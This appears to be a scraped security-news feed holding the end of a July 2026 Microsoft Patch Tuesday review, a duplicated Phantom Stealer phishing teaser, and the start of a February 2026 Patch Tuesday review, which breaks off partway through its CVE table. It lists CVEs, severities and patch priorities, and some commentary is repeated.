  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49804"><span>CVE-2026-49804</span></a></td>
  <td width="256" class="xl74">Windows USB Video
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50454"><span>CVE-2026-50454</span></a></td>
  <td width="256" class="xl74">Windows User Interface
  Core Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49176"><span>CVE-2026-49176</span></a></td>
  <td width="256" class="xl74">Windows WalletService
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49800"><span>CVE-2026-49800</span></a></td>
  <td width="256" class="xl74">Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50480"><span>CVE-2026-50480</span></a></td>
  <td width="256" class="xl74">Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56173"><span>CVE-2026-56173</span></a></td>
  <td width="256" class="xl74">Windows WebView
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58632"><span>CVE-2026-58632</span></a></td>
  <td width="256" class="xl74">Windows Win32 Kernel
  Subsystem Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54107"><span>CVE-2026-54107</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54986"><span>CVE-2026-54986</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54112"><span>CVE-2026-54112</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54114"><span>CVE-2026-54114</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50670"><span>CVE-2026-50670</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50688"><span>CVE-2026-50688</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50687"><span>CVE-2026-50687</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56176"><span>CVE-2026-56176</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58628"><span>CVE-2026-58628</span></a></td>
  <td width="256" class="xl74">Windows Wireless
  Network Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50295"><span>CVE-2026-50295</span></a></td>
  <td width="256" class="xl74">Windows Zero Trust DNS
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50509"><span>CVE-2026-50509</span></a></td>
  <td width="256" class="xl74">Wireless Wide Area
  Network Service (WwanSvc) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55945"><span>CVE-2026-55945</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">4.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45488"><span>CVE-2026-45488</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45489"><span>CVE-2026-45489</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55145"><span>CVE-2026-55145</span></a></td>
  <td width="256" class="xl74">Outlook Copilot
  Tampering Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56181"><span>CVE-2026-56181</span></a></td>
  <td width="256" class="xl74">Windows Network
  Address Translation (NAT) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58597"><span>CVE-2026-58597</span></a></td>
  <td width="256" class="xl74">Microsoft
  Edge (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl73">Low</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.</em></p><p class=""><em> </em></p><p class=""><em> </em></p><p class="">I’ll do my best to summarize everything else in this release, but no promises. I’m only human after all.</p><p class=""> </p><p class="">Looking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We’ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it’s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) — patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these “normal” as far as patch cadence goes.</p><p class="">That leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.</p><p class="">The pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) — WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.</p><p class="">And because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.</p><p class="">There are close to 260 EoP bugs in this month’s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. What’s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says “elevate privileges” with no detail. By my count, that leaves around 25 bugs to consider. Some don’t elevate at all. The FAQ literally says the attacker just gets “the rights of the user running the affected application.” That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I’ve seen really stands out too much.</p><p class="">There are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it’s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It’s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, “if this fails, nothing above it can be trusted” stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.</p><p class="">The July release includes 31Spoofing bugs this month, and we’ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let "just Spoofing" lull you into deprioritizing the patch cycle.</p><p class="">Of 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures — improper authorization, files/directories accessible to external parties, and link-following — plus Edge for Android exposing “private personal information” twice and two path-traversal bugs. The remaining 40+ are mostly one-line “exposure of sensitive information to an unauthorized actor” entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.</p><p class="">Only 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That’s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to “malicious uses” enabling tampering over the network. That’s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.</p><p class="">Still with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all “allocation of resources without limits or throttling”.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I’ll be back then to give you my full thoughts on the release – no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Phantom Stealer Campaign Uses JavaScript and PowerShell to Steal Browser Credentials]]></title>
<description><![CDATA[A sophisticated phishing campaign that disguises malware delivery inside routine business communications, ultimately deploying Phantom Stealer v3.5.0 to harvest browser credentials, cookies, payment data, and cryptocurrency wallet information from victims. Documented by Seqrite, the campaign uses...]]></description>
<link>https://tsecurity.de/de/3694551/hacking/phantom-stealer-campaign-uses-javascript-and-powershell-to-steal-browser-credentials/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694551/hacking/phantom-stealer-campaign-uses-javascript-and-powershell-to-steal-browser-credentials/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:42 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A sophisticated phishing campaign that disguises malware delivery inside routine business communications, ultimately deploying Phantom Stealer v3.5.0 to harvest browser credentials, cookies, payment data, and cryptocurrency wallet information from victims. Documented by Seqrite, the campaign uses two distinct phishing themes that both lead to the same infection chain. One email impersonates UPS Forwarding Hub, referencing fake […]</p>
<p>The post <a href="https://gbhackers.com/phantom-stealer-campaign-javascript-powershell/">Phantom Stealer Campaign Uses JavaScript and PowerShell to Steal Browser Credentials</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Phantom Stealer Campaign Uses JavaScript and PowerShell to Steal Browser Credentials]]></title>
<description><![CDATA[A sophisticated phishing campaign that disguises malware delivery inside routine business communications, ultimately deploying Phantom Stealer v3.5.0 to harvest browser credentials, cookies, payment data, and cryptocurrency wallet information from victims. Documented by Seqrite, the campaign uses...]]></description>
<link>https://tsecurity.de/de/3694479/it-security-nachrichten/phantom-stealer-campaign-uses-javascript-and-powershell-to-steal-browser-credentials/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694479/it-security-nachrichten/phantom-stealer-campaign-uses-javascript-and-powershell-to-steal-browser-credentials/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A sophisticated phishing campaign that disguises malware delivery inside routine business communications, ultimately deploying Phantom Stealer v3.5.0 to harvest browser credentials, cookies, payment data, and cryptocurrency wallet information from victims. Documented by Seqrite, the campaign uses two distinct phishing themes that both lead to the same infection chain. One email impersonates UPS Forwarding Hub, referencing fake […]</p>
<p>The post <a href="https://gbhackers.com/phantom-stealer-campaign-javascript-powershell/">Phantom Stealer Campaign Uses JavaScript and PowerShell to Steal Browser Credentials</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The February 2026 Security Update Review]]></title>
<description><![CDATA[I have survived the biggest Pwn2Own ever, but I’m back in Tokyo for the second Patch Tuesday of 2026. My location never stops Patch Tuesday from coming, so let’s take a look at the latest security patches from Adobe and Microsoft.  If you’d rather watch the full video recap covering the entire re...]]></description>
<link>https://tsecurity.de/de/3694474/it-security-nachrichten/the-february-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694474/it-security-nachrichten/the-february-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I have survived the biggest Pwn2Own ever, but I’m back in Tokyo for the second Patch Tuesday of 2026. My location never stops Patch Tuesday from coming, so let’s take a look at the latest security patches from Adobe and Microsoft.  If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for February 2026</strong></p><p class="">For February, Adobe released nine bulletins addressing 44 unique CVEs in Adobe Audition, After Effects, InDesign, Substance 3D Designer, Substance 3D Stager, Adobe Bridge, Substance 3D Modeler, Lightroom Classic, and the Adobe DNG Software Development Kit (SDK). The largest update here is for <a href="https://helpx.adobe.com/security/products/after_effects/apsb26-15.html">After Effects</a>, which fixes 13 Critical and two Important rated bugs. The patch for <a href="https://helpx.adobe.com/security/products/substance3d_designer/apsb26-19.html">Substance 3D Designer</a> is on the larger side with seven fixes, but only two of those are Critical. On the other hand, the fix for <a href="https://helpx.adobe.com/security/products/substance3d_stager/apsb26-20.html">Substance 3D Stager</a> corrects five Critical-rated bugs that could lead to code execution. The <a href="https://helpx.adobe.com/security/products/audition/apsb26-14.html">Audition</a> patch fixes six bugs, but only one is Critical.</p><p class="">The other patches are smaller in size. The fix for the <a href="https://helpx.adobe.com/security/products/dng-sdk/apsb26-23.html">Adobe DNG Software Development Kit (SDK)</a> corrects two Critical and two Important-rated bugs. The <a href="https://helpx.adobe.com/security/products/indesign/apsb26-17.html">InDesign</a> patch fixes three bugs, but only one is Critical. The update for <a href="https://helpx.adobe.com/security/products/bridge/apsb26-21.html">Adobe Bridge</a> fixes two Critical bug that could lead to code execution. The patch for <a href="https://helpx.adobe.com/security/products/lightroom/apsb26-06.html">Lightroom Classic</a> addresses a single Critical bug, and the release is wrapped up with a patch for <a href="https://helpx.adobe.com/security/products/substance3d-modeler/apsb26-22.html">Substance 3D Modeler</a> that fixes a single, Important-rated memory link.</p><p class="">None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and all of the updates released by Adobe this month are listed as deployment priority 3.</p><p class=""><strong>Microsoft Patches for February 2026</strong></p><p class="">This month, Microsoft drops 58 new CVEs in Windows and Windows components, Office and Office Components, Azure, Microsoft Edge (Chromium-based), .NET and Visual Studio, GitHub Copilot, Mailslot FS, Exchange Server, Internet Explorer (!), Power BI, Hyper-V Server, and the Windows Subsystem for Linux. Counting the third-party and Chromium updates listed in the release, it brings the total number of CVEs to 62. One of the bugs in the Windows Graphics component was submitted through the ZDI program. Five of these bugs are rated Critical, two are rated Moderate, and the rest are rated Important in severity.</p><p class="">It’s typical to see this number of CVEs released in February, but the number of bugs under active attack is extraordinarily high. Microsoft lists six bugs being exploited at the time of release, with three of these listed as publicly known. Last month only had a single bug being exploited, although there were twice as many CVEs patched. We’ll see if we’re on our way to another “hot exploit summer” as we saw a few years ago or if this is just an aberration. </p><p class="">Let’s take a closer look at some of the more interesting updates for this month, starting with the bugs under active attack: </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21510"><strong>CVE-2026-21510</strong></a><strong> - Windows Shell Security Feature Bypass Vulnerability<br></strong>This bug is listed as a security feature bypass, but it could also be classified as code execution. An attacker can bypass Windows SmartScreen and Windows Shell security prompts to execute code on a target system. This bug is also listed as publicly known, but Microsoft doesn’t say where. There is user interaction here, as the client needs to click a link or a shortcut file. Still, a one-click bug to gain code execution is a rarity. Definitely test and deploy this fix quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21514"><strong>CVE-2026-21514</strong></a><strong> - Microsoft Word Security Feature Bypass Vulnerability<br></strong>This bug also requires user interaction in the form of opening a Word document, but that’s all that’s required to bypass protections to dangerous COM/OLE controls. Thankfully, the Preview Pane is <em>not</em> an attack vector here. However, users are well known to open lots of documents they receive in e-mail. This bypass could also result in code execution if the right COM/OLE control is hit. This is also listed as publicly known, so add this to the list to test and deploy quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21519"><strong>CVE-2026-21519</strong></a><strong> - Desktop Window Manager Elevation of Privilege Vulnerability<br></strong>This is the second month in a row that a DWM was listed as being exploited in the wild. That leads me to believe the first patch didn’t completely resolve the vulnerability. Same as last month, this bug allows attackers to run code with SYSTEM privileges. Bugs of this type are typically paired with a code execution bug to take over a system. As always, Microsoft offers no indication of how widespread these exploits may be.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21533"><strong>CVE-2026-21533</strong></a><strong> - Windows Remote Desktop Services Elevation of Privilege Vulnerability<br></strong>Don’t let the word “Remote” in the title fool you – this is a local bug that allows attackers to run code with SYSTEM privileges. It’s interesting that Microsoft lists “Improper privilege management” as the root cause for this issue. If the system is running Remote Desktop Services, it’s probably a juicy target for attackers to move laterally after an initial breach. Add this one to the list of patches to test and deploy immediately.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21513"><strong>CVE-2026-21513</strong></a><strong> - Internet Explorer Security Feature Bypass Vulnerability<br></strong>Although long gone by many measurements, IE does still exist on Windows systems, and calling it always results in a vulnerability somehow. This bug manifests similarly to the Shell bug above, as it requires user interaction but could result in code execution. The bypass here is simply the ability to reach IE, which shouldn’t be possible. Again, test and deploy this fix quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21525"><strong>CVE-2026-21525</strong></a><strong> - Windows Remote Access Connection Manager Denial of Service Vulnerability<br></strong>It’s unusual to see DoS bugs being used in active attacks, but that’s what we have here. A null pointer deref in the Windows Remote Access Connection Manager allows an unauthorized attacker to deny service locally. Most null pointer derefs cause the application or service to crash, but it’s not clear if it will automatically restart. I would exercise caution and patch quickly either way.</p><p class="">Here’s the full list of CVEs released by Microsoft for February 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026_PatchTable-Feb.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="953">
 <col width="151" class="xl69">
 <col width="263" class="xl72">
 <col width="111" class="xl71" span="4">
 <col width="95" class="xl71">
 <tr height="48">
  <td width="151" class="xl69" height="48"><span> </span>CVE<span> </span></td>
  <td width="263" class="xl72"><span> </span>Title<span> </span></td>
  <td width="111" class="xl71"><span> </span>Severity<span> </span></td>
  <td width="111" class="xl71"><span> </span>CVSS<span> </span></td>
  <td width="111" class="xl71"><span> </span>Public</td>
  <td width="111" class="xl71"><span> </span>Exploited<span> </span></td>
  <td width="95" class="xl71"><span> </span>TYPE<span> </span></td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21514"><span><span> </span>CVE-2026-21514<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Word Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21510"><span><span> </span>CVE-2026-21510<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Shell Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21513"><span><span> </span>CVE-2026-21513<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Internet Explorer Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21519"><span><span> </span>CVE-2026-21519<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Desktop Window Manager Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="72">
